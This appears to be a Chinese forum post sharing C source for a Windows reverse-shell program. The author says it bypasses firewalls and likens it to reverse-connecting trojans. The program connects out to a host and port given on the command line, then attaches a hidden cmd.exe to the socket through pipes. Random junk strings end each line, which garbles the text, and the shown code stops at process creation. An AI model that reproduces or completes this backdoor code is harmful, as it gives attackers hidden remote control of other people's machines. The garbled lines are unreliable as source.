这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ZV;lr Vv
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/* ============================== ]"Qm25`Qz
Rebound port in Windows NT 1|c\^;cTkt
By wind,2006/7 9(PQ7}
===============================*/ #6%9*Rh
#include uS%Y$v
#include C
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#pragma comment(lib,"wsock32.lib") ?xbPdG":R
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void OutputShell(); 0WjPo
SOCKET sClient; eaI!}#>R+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P{-f./(JD
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void main(int argc,char **argv) 7Q(5Nlfcz
{ itmdY!;<
WSADATA stWsaData; dsh S+d
int nRet; ]^63n/Twj
SOCKADDR_IN stSaiClient,stSaiServer; >,Zf3M
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if(argc != 3) :i4>&4j
{ h* to%N
printf("Useage:\n\rRebound DestIP DestPort\n"); T!T6M6?
return; AIR\>.~"i*
} -R[ *S "
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WSAStartup(MAKEWORD(2,2),&stWsaData); n' \poB?
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l }i
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stSaiClient.sin_family = AF_INET; JY|f zL
stSaiClient.sin_port = htons(0); _;Q1PgT
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3\xvy{r
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?>_[hZ
{ WzC_M>_
printf("Bind Socket Failed!\n"); 0pSqk/
return; nbpGxUF`]
} h7( R/R f
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stSaiServer.sin_family = AF_INET; i5>]$j1/
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); yX:*TK4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); U2DE"
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Ri}n0}I
{ $LLy#h?V]
printf("Connect Error!"); >^8=_i !
return; 8}&O7zO?
} )PRyDC-
OutputShell(); c teUKK.|)
} f\ wP}c'
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void OutputShell() .."=
{ ;BsPms@U
char szBuff[1024]; RN0@Q~oTI
SECURITY_ATTRIBUTES stSecurityAttributes; _7AR2
OSVERSIONINFO stOsversionInfo; BnLM ;5
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5/:BtlFx
STARTUPINFO stStartupInfo; VPB,8zb]
char *szShell; 6d RxfbL
PROCESS_INFORMATION stProcessInformation; F9sVMV
unsigned long lBytesRead; h|_E>6d)
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qjsS2,wM
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0u]!C"VX
stSecurityAttributes.lpSecurityDescriptor = 0; Xgge_`T9
stSecurityAttributes.bInheritHandle = TRUE; 6iiH+Nc
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); O<0G\sU
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z9k3@\7
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `g2DN#q[0
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `wJR^O!e
stStartupInfo.wShowWindow = SW_HIDE; NArql
stStartupInfo.hStdInput = hReadPipe; ,DN>aEu1
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;T Af[[P
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GetVersionEx(&stOsversionInfo); nQ/R,+6h
fh0a "#L{
switch(stOsversionInfo.dwPlatformId) 8._
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{ L#Mul&r3x0
case 1: YxEc(a"
szShell = "command.com"; hJavi>374
break; < sJ
default: KaJCfu yp
szShell = "cmd.exe"; w`kn!k8
break; Tl.dr
} _H:mBk,,
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Pg]&^d&